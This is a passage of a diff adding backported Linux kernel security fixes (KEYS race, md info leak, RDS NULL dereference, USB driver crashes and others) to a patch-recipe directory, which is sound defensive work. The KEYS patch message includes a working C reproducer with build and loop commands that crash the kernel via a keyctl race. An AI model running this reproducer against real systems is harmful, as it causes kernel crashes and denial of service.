SVM_EXIT_INTR, "interrupt" }, \ + { SVM_EXIT_NMI, "nmi" }, \ +diff --git a/arch/x86/kvm/svm.c b/arch/x86/kvm/svm.c +index f2ba91990b4e1..183926483c3ac 100644 +--- a/arch/x86/kvm/svm.c ++++ b/arch/x86/kvm/svm.c +@@ -1019,6 +1019,7 @@ static void init_vmcb(struct vcpu_svm *svm) + set_exception_intercept(svm, PF_VECTOR); + set_exception_intercept(svm, UD_VECTOR); + set_exception_intercept(svm, MC_VECTOR); ++ set_exception_intercept(svm, AC_VECTOR); + + set_intercept(svm, INTERCEPT_INTR); + set_intercept(svm, INTERCEPT_NMI); +@@ -1707,6 +1708,12 @@ static int ud_interception(struct vcpu_svm *svm) + return 1; + } + ++static int ac_interception(struct vcpu_svm *svm) ++{ ++ kvm_queue_exception_e(&svm->vcpu, AC_VECTOR, 0); ++ return 1; ++} ++ + static void svm_fpu_activate(struct kvm_vcpu *vcpu) + { + struct vcpu_svm *svm = to_svm(vcpu); +@@ -3270,6 +3277,7 @@ static int (*const svm_exit_handlers[])(struct vcpu_svm *svm) = { + [SVM_EXIT_EXCP_BASE + PF_VECTOR] = pf_interception, + [SVM_EXIT_EXCP_BASE + NM_VECTOR] = nm_interception, + [SVM_EXIT_EXCP_BASE + MC_VECTOR] = mc_interception, ++ [SVM_EXIT_EXCP_BASE + AC_VECTOR] = ac_interception, + [SVM_EXIT_INTR] = intr_interception, + [SVM_EXIT_NMI] = nmi_interception, + [SVM_EXIT_SMI] = nop_on_interception, +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index b765b036a0489..89aaedd2a91d5 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -1639,7 +1639,7 @@ static void update_exception_bitmap(struct kvm_vcpu *vcpu) + u32 eb; + + eb = (1u << PF_VECTOR) | (1u << UD_VECTOR) | (1u << MC_VECTOR) | +- (1u << NM_VECTOR) | (1u << DB_VECTOR); ++ (1u << NM_VECTOR) | (1u << DB_VECTOR) | (1u << AC_VECTOR); + if ((vcpu->guest_debug & + (KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_USE_SW_BP)) == + (KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_USE_SW_BP)) +@@ -5261,6 +5261,9 @@ static int handle_exception(struct kvm_vcpu *vcpu) + return handle_rmode_exception(vcpu, ex_no, error_code); + + switch (ex_no) { ++ case AC_VECTOR: ++ kvm_queue_exception_e(vcpu, AC_VECTOR, error_code); ++ return 1; + case DB_VECTOR: + dr6 = vmcs_readl(EXIT_QUALIFICATION); + if (!(vcpu->guest_debug & +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0155-a3cfde2a311c-udp fix behavior of wrong checksums.patch b/recipes-kernel/linux/linux-bass/autopatcher/0155-a3cfde2a311c-udp fix behavior of wrong checksums.patch new file mode 100644 index 0000000..3377ab1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0155-a3cfde2a311c-udp fix behavior of wrong checksums.patch @@ -0,0 +1,68 @@ +From a3cfde2a311c3679b414b46e29d1a184edf29b0a Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Sat, 30 May 2015 09:16:53 -0700 +Subject: udp: fix behavior of wrong checksums + +[ Upstream commit beb39db59d14990e401e235faf66a6b9b31240b0 ] + +We have two problems in UDP stack related to bogus checksums : + +1) We return -EAGAIN to application even if receive queue is not empty. + This breaks applications using edge trigger epoll() + +2) Under UDP flood, we can loop forever without yielding to other + processes, potentially hanging the host, especially on non SMP. + +This patch is an attempt to make things better. + +We might in the future add extra support for rt applications +wanting to better control time spent doing a recv() in a hostile +environment. For example we could validate checksums before queuing +packets in socket receive queue. + +Signed-off-by: Eric Dumazet +Cc: Willem de Bruijn +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv4/udp.c | 6 ++---- + net/ipv6/udp.c | 6 ++---- + 2 files changed, 4 insertions(+), 8 deletions(-) + +diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c +index c3075b552248b..63b536bbf0b01 100644 +--- a/net/ipv4/udp.c ++++ b/net/ipv4/udp.c +@@ -1293,10 +1293,8 @@ csum_copy_err: + } + unlock_sock_fast(sk, slow); + +- if (noblock) +- return -EAGAIN; +- +- /* starting over for a new packet */ ++ /* starting over for a new packet, but check if we need to yield */ ++ cond_resched(); + msg->msg_flags &= ~MSG_TRUNC; + goto try_again; + } +diff --git a/net/ipv6/udp.c b/net/ipv6/udp.c +index 6b298dc614e3d..7e39018934137 100644 +--- a/net/ipv6/udp.c ++++ b/net/ipv6/udp.c +@@ -494,10 +494,8 @@ csum_copy_err: + } + unlock_sock_fast(sk, slow); + +- if (noblock) +- return -EAGAIN; +- +- /* starting over for a new packet */ ++ /* starting over for a new packet, but check if we need to yield */ ++ cond_resched(); + msg->msg_flags &= ~MSG_TRUNC; + goto try_again; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0156-21c7d3807a42-md use kzalloc when bitmap is disabled.patch b/recipes-kernel/linux/linux-bass/autopatcher/0156-21c7d3807a42-md use kzalloc when bitmap is disabled.patch new file mode 100644 index 0000000..de089d8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0156-21c7d3807a42-md use kzalloc when bitmap is disabled.patch @@ -0,0 +1,54 @@ +From 21c7d3807a429ba6c606e30087d785c0ef3d6288 Mon Sep 17 00:00:00 2001 +From: Benjamin Randazzo +Date: Sat, 25 Jul 2015 16:36:50 +0200 +Subject: md: use kzalloc() when bitmap is disabled + +commit b6878d9e03043695dbf3fa1caa6dfc09db225b16 upstream. + +In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a +mdu_bitmap_file_t called "file". + +5769 file = kmalloc(sizeof(*file), GFP_NOIO); +5770 if (!file) +5771 return -ENOMEM; + +This structure is copied to user space at the end of the function. + +5786 if (err == 0 && +5787 copy_to_user(arg, file, sizeof(*file))) +5788 err = -EFAULT + +But if bitmap is disabled only the first byte of "file" is initialized +with zero, so it's possible to read some bytes (up to 4095) of kernel +space memory from user space. This is an information leak. + +5775 /* bitmap disabled, zero the first byte and copy out */ +5776 if (!mddev->bitmap_info.file) +5777 file->pathname[0] = '\0'; + +Signed-off-by: Benjamin Randazzo +Signed-off-by: NeilBrown +Signed-off-by: Greg Kroah-Hartman +--- + drivers/md/md.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/md/md.c b/drivers/md/md.c +index 631fe3e9c6e55..37ff00d014b42 100644 +--- a/drivers/md/md.c ++++ b/drivers/md/md.c +@@ -5628,9 +5628,9 @@ static int get_bitmap_file(struct mddev * mddev, void __user * arg) + int err = -ENOMEM; + + if (md_allow_write(mddev)) +- file = kmalloc(sizeof(*file), GFP_NOIO); ++ file = kzalloc(sizeof(*file), GFP_NOIO); + else +- file = kmalloc(sizeof(*file), GFP_KERNEL); ++ file = kzalloc(sizeof(*file), GFP_KERNEL); + + if (!file) + goto out; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0157-bde8e916ed7b-vhost actually track log eventfd file.patch b/recipes-kernel/linux/linux-bass/autopatcher/0157-bde8e916ed7b-vhost actually track log eventfd file.patch new file mode 100644 index 0000000..8cfaab6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0157-bde8e916ed7b-vhost actually track log eventfd file.patch @@ -0,0 +1,35 @@ +From bde8e916ed7bfbb694792335043938e206636943 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Marc-Andr=C3=A9=20Lureau?= +Date: Fri, 17 Jul 2015 15:32:03 +0200 +Subject: vhost: actually track log eventfd file +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5 upstream. + +While reviewing vhost log code, I found out that log_file is never +set. Note: I haven't tested the change (QEMU doesn't use LOG_FD yet). + +Signed-off-by: Marc-André Lureau +Signed-off-by: Michael S. Tsirkin +Signed-off-by: Greg Kroah-Hartman +--- + drivers/vhost/vhost.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c +index 60aa5ad09a2fd..3aabc652f1b94 100644 +--- a/drivers/vhost/vhost.c ++++ b/drivers/vhost/vhost.c +@@ -855,6 +855,7 @@ long vhost_dev_ioctl(struct vhost_dev *d, unsigned int ioctl, void __user *argp) + } + if (eventfp != d->log_file) { + filep = d->log_file; ++ d->log_file = eventfp; + ctx = d->log_ctx; + d->log_ctx = eventfp ? + eventfd_ctx_fileget(eventfp) : NULL; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0158-903b1970c835-powerpcperf Cap 64bit userspace backtraces to PERFMAXSTACKDEPTH.patch b/recipes-kernel/linux/linux-bass/autopatcher/0158-903b1970c835-powerpcperf Cap 64bit userspace backtraces to PERFMAXSTACKDEPTH.patch new file mode 100644 index 0000000..dd68d26 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0158-903b1970c835-powerpcperf Cap 64bit userspace backtraces to PERFMAXSTACKDEPTH.patch @@ -0,0 +1,33 @@ +From 903b1970c835f69a1e2f1bde5ac446691b396a5c Mon Sep 17 00:00:00 2001 +From: Anton Blanchard +Date: Tue, 14 Apr 2015 07:51:03 +1000 +Subject: powerpc/perf: Cap 64bit userspace backtraces to PERF_MAX_STACK_DEPTH + +commit 9a5cbce421a283e6aea3c4007f141735bf9da8c3 upstream. + +We cap 32bit userspace backtraces to PERF_MAX_STACK_DEPTH +(currently 127), but we forgot to do the same for 64bit backtraces. + +Signed-off-by: Anton Blanchard +Signed-off-by: Michael Ellerman +Signed-off-by: Greg Kroah-Hartman +--- + arch/powerpc/perf/callchain.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/arch/powerpc/perf/callchain.c b/arch/powerpc/perf/callchain.c +index 2396dda282cde..ead55351b2542 100644 +--- a/arch/powerpc/perf/callchain.c ++++ b/arch/powerpc/perf/callchain.c +@@ -243,7 +243,7 @@ static void perf_callchain_user_64(struct perf_callchain_entry *entry, + sp = regs->gpr[1]; + perf_callchain_store(entry, next_ip); + +- for (;;) { ++ while (entry->nr < PERF_MAX_STACK_DEPTH) { + fp = (unsigned long __user *) sp; + if (!valid_user_sp(sp, 1) || read_user_stack_64(fp, &next_sp)) + return; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0159-c79f626810b7-RDS verify the underlying transport exists before creating a.patch b/recipes-kernel/linux/linux-bass/autopatcher/0159-c79f626810b7-RDS verify the underlying transport exists before creating a.patch new file mode 100644 index 0000000..2ecf6ec --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0159-c79f626810b7-RDS verify the underlying transport exists before creating a.patch @@ -0,0 +1,82 @@ +From c79f626810b7d20aca9cd935d8cfc3272ba7a054 Mon Sep 17 00:00:00 2001 +From: Sasha Levin +Date: Tue, 8 Sep 2015 10:53:40 -0400 +Subject: RDS: verify the underlying transport exists before creating a + connection + +[ Upstream commit 74e98eb085889b0d2d4908f59f6e00026063014f ] + +There was no verification that an underlying transport exists when creating +a connection, this would cause dereferencing a NULL ptr. + +It might happen on sockets that weren't properly bound before attempting to +send a message, which will cause a NULL ptr deref: + +[135546.047719] kasan: GPF could be caused by NULL-ptr deref or user memory accessgeneral protection fault: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN +[135546.051270] Modules linked in: +[135546.051781] CPU: 4 PID: 15650 Comm: trinity-c4 Not tainted 4.2.0-next-20150902-sasha-00041-gbaa1222-dirty #2527 +[135546.053217] task: ffff8800835bc000 ti: ffff8800bc708000 task.ti: ffff8800bc708000 +[135546.054291] RIP: __rds_conn_create (net/rds/connection.c:194) +[135546.055666] RSP: 0018:ffff8800bc70fab0 EFLAGS: 00010202 +[135546.056457] RAX: dffffc0000000000 RBX: 0000000000000f2c RCX: ffff8800835bc000 +[135546.057494] RDX: 0000000000000007 RSI: ffff8800835bccd8 RDI: 0000000000000038 +[135546.058530] RBP: ffff8800bc70fb18 R08: 0000000000000001 R09: 0000000000000000 +[135546.059556] R10: ffffed014d7a3a23 R11: ffffed014d7a3a21 R12: 0000000000000000 +[135546.060614] R13: 0000000000000001 R14: ffff8801ec3d0000 R15: 0000000000000000 +[135546.061668] FS: 00007faad4ffb700(0000) GS:ffff880252000000(0000) knlGS:0000000000000000 +[135546.062836] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b +[135546.063682] CR2: 000000000000846a CR3: 000000009d137000 CR4: 00000000000006a0 +[135546.064723] Stack: +[135546.065048] ffffffffafe2055c ffffffffafe23fc1 ffffed00493097bf ffff8801ec3d0008 +[135546.066247] 0000000000000000 00000000000000d0 0000000000000000 ac194a24c0586342 +[135546.067438] 1ffff100178e1f78 ffff880320581b00 ffff8800bc70fdd0 ffff880320581b00 +[135546.068629] Call Trace: +[135546.069028] ? __rds_conn_create (include/linux/rcupdate.h:856 net/rds/connection.c:134) +[135546.069989] ? rds_message_copy_from_user (net/rds/message.c:298) +[135546.071021] rds_conn_create_outgoing (net/rds/connection.c:278) +[135546.071981] rds_sendmsg (net/rds/send.c:1058) +[135546.072858] ? perf_trace_lock (include/trace/events/lock.h:38) +[135546.073744] ? lockdep_init (kernel/locking/lockdep.c:3298) +[135546.074577] ? rds_send_drop_to (net/rds/send.c:976) +[135546.075508] ? __might_fault (./arch/x86/include/asm/current.h:14 mm/memory.c:3795) +[135546.076349] ? __might_fault (mm/memory.c:3795) +[135546.077179] ? rds_send_drop_to (net/rds/send.c:976) +[135546.078114] sock_sendmsg (net/socket.c:611 net/socket.c:620) +[135546.078856] SYSC_sendto (net/socket.c:1657) +[135546.079596] ? SYSC_connect (net/socket.c:1628) +[135546.080510] ? trace_dump_stack (kernel/trace/trace.c:1926) +[135546.081397] ? ring_buffer_unlock_commit (kernel/trace/ring_buffer.c:2479 kernel/trace/ring_buffer.c:2558 kernel/trace/ring_buffer.c:2674) +[135546.082390] ? trace_buffer_unlock_commit (kernel/trace/trace.c:1749) +[135546.083410] ? trace_event_raw_event_sys_enter (include/trace/events/syscalls.h:16) +[135546.084481] ? do_audit_syscall_entry (include/trace/events/syscalls.h:16) +[135546.085438] ? trace_buffer_unlock_commit (kernel/trace/trace.c:1749) +[135546.085515] rds_ib_laddr_check(): addr 36.74.25.172 ret -99 node type -1 + +Acked-by: Santosh Shilimkar +Signed-off-by: Sasha Levin +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/rds/connection.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/net/rds/connection.c b/net/rds/connection.c +index 642ad42c416ba..e88bf3976e541 100644 +--- a/net/rds/connection.c ++++ b/net/rds/connection.c +@@ -177,6 +177,12 @@ static struct rds_connection *__rds_conn_create(__be32 laddr, __be32 faddr, + } + } + ++ if (trans == NULL) { ++ kmem_cache_free(rds_conn_slab, conn); ++ conn = ERR_PTR(-ENODEV); ++ goto out; ++ } ++ + conn->c_trans = trans; + + ret = trans->conn_alloc(conn, gfp); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0160-8e20cf2bce12-Input aiptek fix crash on detecting device without endpoints.patch b/recipes-kernel/linux/linux-bass/autopatcher/0160-8e20cf2bce12-Input aiptek fix crash on detecting device without endpoints.patch new file mode 100644 index 0000000..cfc290f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0160-8e20cf2bce12-Input aiptek fix crash on detecting device without endpoints.patch @@ -0,0 +1,47 @@ +From 8e20cf2bce122ce9262d6034ee5d5b76fbb92f96 Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Tue, 1 Dec 2015 13:09:17 -0800 +Subject: Input: aiptek - fix crash on detecting device without endpoints + +The aiptek driver crashes in aiptek_probe() when a specially crafted USB +device without endpoints is detected. This fix adds a check that the device +has proper configuration expected by the driver. Also an error return value +is changed to more matching one in one of the error paths. + +Reported-by: Ralf Spenneberg +Signed-off-by: Vladis Dronov +Signed-off-by: Dmitry Torokhov +--- + drivers/input/tablet/aiptek.c | 9 +++++++++ + 1 file changed, 9 insertions(+) + +diff --git a/drivers/input/tablet/aiptek.c b/drivers/input/tablet/aiptek.c +index e7f966da6efa3..78ca44840d60c 100644 +--- a/drivers/input/tablet/aiptek.c ++++ b/drivers/input/tablet/aiptek.c +@@ -1819,6 +1819,14 @@ aiptek_probe(struct usb_interface *intf, const struct usb_device_id *id) + input_set_abs_params(inputdev, ABS_TILT_Y, AIPTEK_TILT_MIN, AIPTEK_TILT_MAX, 0, 0); + input_set_abs_params(inputdev, ABS_WHEEL, AIPTEK_WHEEL_MIN, AIPTEK_WHEEL_MAX - 1, 0, 0); + ++ /* Verify that a device really has an endpoint */ ++ if (intf->altsetting[0].desc.bNumEndpoints < 1) { ++ dev_err(&intf->dev, ++ "interface has %d endpoints, but must have minimum 1\n", ++ intf->altsetting[0].desc.bNumEndpoints); ++ err = -EINVAL; ++ goto fail3; ++ } + endpoint = &intf->altsetting[0].endpoint[0].desc; + + /* Go set up our URB, which is called when the tablet receives +@@ -1861,6 +1869,7 @@ aiptek_probe(struct usb_interface *intf, const struct usb_device_id *id) + if (i == ARRAY_SIZE(speeds)) { + dev_info(&intf->dev, + "Aiptek tried all speeds, no sane response\n"); ++ err = -EINVAL; + goto fail3; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0161-afd8f582ae38-KEYS Fix race between read and revoke.patch b/recipes-kernel/linux/linux-bass/autopatcher/0161-afd8f582ae38-KEYS Fix race between read and revoke.patch new file mode 100644 index 0000000..479fed6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0161-afd8f582ae38-KEYS Fix race between read and revoke.patch @@ -0,0 +1,117 @@ +From afd8f582ae388b0d1c7d0532dc31f4f85c1098dc Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Fri, 18 Dec 2015 01:34:26 +0000 +Subject: KEYS: Fix race between read and revoke + +commit b4a1b4f5047e4f54e194681125c74c0aa64d637d upstream. + +This fixes CVE-2015-7550. + +There's a race between keyctl_read() and keyctl_revoke(). If the revoke +happens between keyctl_read() checking the validity of a key and the key's +semaphore being taken, then the key type read method will see a revoked key. + +This causes a problem for the user-defined key type because it assumes in +its read method that there will always be a payload in a non-revoked key +and doesn't check for a NULL pointer. + +Fix this by making keyctl_read() check the validity of a key after taking +semaphore instead of before. + +I think the bug was introduced with the original keyrings code. + +This was discovered by a multithreaded test program generated by syzkaller +(http://github.com/google/syzkaller). Here's a cleaned up version: + + #include + #include + #include + void *thr0(void *arg) + { + key_serial_t key = (unsigned long)arg; + keyctl_revoke(key); + return 0; + } + void *thr1(void *arg) + { + key_serial_t key = (unsigned long)arg; + char buffer[16]; + keyctl_read(key, buffer, 16); + return 0; + } + int main() + { + key_serial_t key = add_key("user", "%", "foo", 3, KEY_SPEC_USER_KEYRING); + pthread_t th[5]; + pthread_create(&th[0], 0, thr0, (void *)(unsigned long)key); + pthread_create(&th[1], 0, thr1, (void *)(unsigned long)key); + pthread_create(&th[2], 0, thr0, (void *)(unsigned long)key); + pthread_create(&th[3], 0, thr1, (void *)(unsigned long)key); + pthread_join(th[0], 0); + pthread_join(th[1], 0); + pthread_join(th[2], 0); + pthread_join(th[3], 0); + return 0; + } + +Build as: + + cc -o keyctl-race keyctl-race.c -lkeyutils -lpthread + +Run as: + + while keyctl-race; do :; done + +as it may need several iterations to crash the kernel. The crash can be +summarised as: + + BUG: unable to handle kernel NULL pointer dereference at 0000000000000010 + IP: [] user_read+0x56/0xa3 + ... + Call Trace: + [] keyctl_read_key+0xb6/0xd7 + [] SyS_keyctl+0x83/0xe0 + [] entry_SYSCALL_64_fastpath+0x12/0x6f + +Reported-by: Dmitry Vyukov +Signed-off-by: David Howells +Tested-by: Dmitry Vyukov +Signed-off-by: James Morris +Signed-off-by: Greg Kroah-Hartman +--- + security/keys/keyctl.c | 18 +++++++++--------- + 1 file changed, 9 insertions(+), 9 deletions(-) + +diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c +index 33cfd27b4de29..3242195bfa95a 100644 +--- a/security/keys/keyctl.c ++++ b/security/keys/keyctl.c +@@ -744,16 +744,16 @@ long keyctl_read_key(key_serial_t keyid, char __user *buffer, size_t buflen) + + /* the key is probably readable - now try to read it */ + can_read_key: +- ret = key_validate(key); +- if (ret == 0) { +- ret = -EOPNOTSUPP; +- if (key->type->read) { +- /* read the data with the semaphore held (since we +- * might sleep) */ +- down_read(&key->sem); ++ ret = -EOPNOTSUPP; ++ if (key->type->read) { ++ /* Read the data with the semaphore held (since we might sleep) ++ * to protect against the key being updated or revoked. ++ */ ++ down_read(&key->sem); ++ ret = key_validate(key); ++ if (ret == 0) + ret = key->type->read(key, buffer, buflen); +- up_read(&key->sem); +- } ++ up_read(&key->sem); + } + + error2: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0162-3b079e37731a-USB serial visor fix crash on detecting device without writeurbs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0162-3b079e37731a-USB serial visor fix crash on detecting device without writeurbs.patch new file mode 100644 index 0000000..aa6330e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0162-3b079e37731a-USB serial visor fix crash on detecting device without writeurbs.patch @@ -0,0 +1,40 @@ +From 3b079e37731a962211c65e9aff9928f3ac2e6840 Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Tue, 12 Jan 2016 15:10:50 +0100 +Subject: USB: serial: visor: fix crash on detecting device without write_urbs + +commit cb3232138e37129e88240a98a1d2aba2187ff57c upstream. + +The visor driver crashes in clie_5_attach() when a specially crafted USB +device without bulk-out endpoint is detected. This fix adds a check that +the device has proper configuration expected by the driver. + +Reported-by: Ralf Spenneberg +Signed-off-by: Vladis Dronov +Fixes: cfb8da8f69b8 ("USB: visor: fix initialisation of UX50/TH55 devices") +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/serial/visor.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/drivers/usb/serial/visor.c b/drivers/usb/serial/visor.c +index 727905de0ba48..9c61a86717210 100644 +--- a/drivers/usb/serial/visor.c ++++ b/drivers/usb/serial/visor.c +@@ -604,8 +604,10 @@ static int clie_5_attach(struct usb_serial *serial) + */ + + /* some sanity check */ +- if (serial->num_ports < 2) +- return -1; ++ if (serial->num_bulk_out < 2) { ++ dev_err(&serial->interface->dev, "missing bulk out endpoints\n"); ++ return -ENODEV; ++ } + + /* port 0 now uses the modified endpoint Address */ + port = serial->port[0]; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0163-162d3c2fd8b7-Initialize msgshm IPC objects before doing ipcaddid.patch b/recipes-kernel/linux/linux-bass/autopatcher/0163-162d3c2fd8b7-Initialize msgshm IPC objects before doing ipcaddid.patch new file mode 100644 index 0000000..d55c3ab --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0163-162d3c2fd8b7-Initialize msgshm IPC objects before doing ipcaddid.patch @@ -0,0 +1,118 @@ +From 162d3c2fd8b7ca5971fc1a366013463d7511afdd Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Wed, 30 Sep 2015 12:48:40 -0400 +Subject: Initialize msg/shm IPC objects before doing ipc_addid() + +commit b9a532277938798b53178d5a66af6e2915cb27cf upstream. + +As reported by Dmitry Vyukov, we really shouldn't do ipc_addid() before +having initialized the IPC object state. Yes, we initialize the IPC +object in a locked state, but with all the lockless RCU lookup work, +that IPC object lock no longer means that the state cannot be seen. + +We already did this for the IPC semaphore code (see commit e8577d1f0329: +"ipc/sem.c: fully initialize sem_array before making it visible") but we +clearly forgot about msg and shm. + +Reported-by: Dmitry Vyukov +Cc: Manfred Spraul +Cc: Davidlohr Bueso +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + ipc/msg.c | 14 +++++++------- + ipc/shm.c | 12 ++++++------ + ipc/util.c | 8 ++++---- + 3 files changed, 17 insertions(+), 17 deletions(-) + +diff --git a/ipc/msg.c b/ipc/msg.c +index 52770bfde2a5a..32aaaab15c5c4 100644 +--- a/ipc/msg.c ++++ b/ipc/msg.c +@@ -202,13 +202,6 @@ static int newque(struct ipc_namespace *ns, struct ipc_params *params) + return retval; + } + +- /* ipc_addid() locks msq upon success. */ +- id = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni); +- if (id < 0) { +- ipc_rcu_putref(msq, msg_rcu_free); +- return id; +- } +- + msq->q_stime = msq->q_rtime = 0; + msq->q_ctime = get_seconds(); + msq->q_cbytes = msq->q_qnum = 0; +@@ -218,6 +211,13 @@ static int newque(struct ipc_namespace *ns, struct ipc_params *params) + INIT_LIST_HEAD(&msq->q_receivers); + INIT_LIST_HEAD(&msq->q_senders); + ++ /* ipc_addid() locks msq upon success. */ ++ id = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni); ++ if (id < 0) { ++ ipc_rcu_putref(msq, msg_rcu_free); ++ return id; ++ } ++ + ipc_unlock_object(&msq->q_perm); + rcu_read_unlock(); + +diff --git a/ipc/shm.c b/ipc/shm.c +index 6dc55af8a29b4..08b14f69d6cfd 100644 +--- a/ipc/shm.c ++++ b/ipc/shm.c +@@ -544,12 +544,6 @@ static int newseg(struct ipc_namespace *ns, struct ipc_params *params) + if (IS_ERR(file)) + goto no_file; + +- id = ipc_addid(&shm_ids(ns), &shp->shm_perm, ns->shm_ctlmni); +- if (id < 0) { +- error = id; +- goto no_id; +- } +- + shp->shm_cprid = task_tgid_vnr(current); + shp->shm_lprid = 0; + shp->shm_atim = shp->shm_dtim = 0; +@@ -559,6 +553,12 @@ static int newseg(struct ipc_namespace *ns, struct ipc_params *params) + shp->shm_file = file; + shp->shm_creator = current; + ++ id = ipc_addid(&shm_ids(ns), &shp->shm_perm, ns->shm_ctlmni); ++ if (id < 0) { ++ error = id; ++ goto no_id; ++ } ++ + /* + * shmid gets reported as "inode#" in /proc/pid/maps. + * proc-ps tools use this. Changing this will break them. +diff --git a/ipc/util.c b/ipc/util.c +index 7684f41bce76a..735342570a875 100644 +--- a/ipc/util.c ++++ b/ipc/util.c +@@ -292,6 +292,10 @@ int ipc_addid(struct ipc_ids* ids, struct kern_ipc_perm* new, int size) + rcu_read_lock(); + spin_lock(&new->lock); + ++ current_euid_egid(&euid, &egid); ++ new->cuid = new->uid = euid; ++ new->gid = new->cgid = egid; ++ + id = idr_alloc(&ids->ipcs_idr, new, + (next_id < 0) ? 0 : ipcid_to_idx(next_id), 0, + GFP_NOWAIT); +@@ -304,10 +308,6 @@ int ipc_addid(struct ipc_ids* ids, struct kern_ipc_perm* new, int size) + + ids->in_use++; + +- current_euid_egid(&euid, &egid); +- new->cuid = new->uid = euid; +- new->gid = new->cgid = egid; +- + if (next_id < 0) { + new->seq = ids->seq++; + if (ids->seq > ids->seq_max) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0164-069872265c33-isdnppp Add checks for allocation failure in isdnpppopen.patch b/recipes-kernel/linux/linux-bass/autopatcher/0164-069872265c33-isdnppp Add checks for allocation failure in isdnpppopen.patch new file mode 100644 index 0000000..b8e8b60 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0164-069872265c33-isdnppp Add checks for allocation failure in isdnpppopen.patch @@ -0,0 +1,43 @@ +From 069872265c33b108afcc613b489cb3070437c249 Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Sun, 1 Nov 2015 16:21:24 +0000 +Subject: isdn_ppp: Add checks for allocation failure in isdn_ppp_open() + +[ Upstream commit 0baa57d8dc32db78369d8b5176ef56c5e2e18ab3 ] + +Compile-tested only. + +Signed-off-by: Ben Hutchings +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + drivers/isdn/i4l/isdn_ppp.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/isdn/i4l/isdn_ppp.c b/drivers/isdn/i4l/isdn_ppp.c +index 38ceac5053a0b..12bcce1b40254 100644 +--- a/drivers/isdn/i4l/isdn_ppp.c ++++ b/drivers/isdn/i4l/isdn_ppp.c +@@ -301,6 +301,8 @@ isdn_ppp_open(int min, struct file *file) + is->compflags = 0; + + is->reset = isdn_ppp_ccp_reset_alloc(is); ++ if (!is->reset) ++ return -ENOMEM; + + is->lp = NULL; + is->mp_seqno = 0; /* MP sequence number */ +@@ -320,6 +322,10 @@ isdn_ppp_open(int min, struct file *file) + * VJ header compression init + */ + is->slcomp = slhc_init(16, 16); /* not necessary for 2. link in bundle */ ++ if (!is->slcomp) { ++ isdn_ppp_ccp_reset_free(is); ++ return -ENOMEM; ++ } + #endif + #ifdef CONFIG_IPPP_FILTER + is->pass_filter = NULL; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0165-f82699de104e-ppp slip Validate VJ compression slot parameters completely.patch b/recipes-kernel/linux/linux-bass/autopatcher/0165-f82699de104e-ppp slip Validate VJ compression slot parameters completely.patch new file mode 100644 index 0000000..241ba47 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0165-f82699de104e-ppp slip Validate VJ compression slot parameters completely.patch @@ -0,0 +1,142 @@ +From 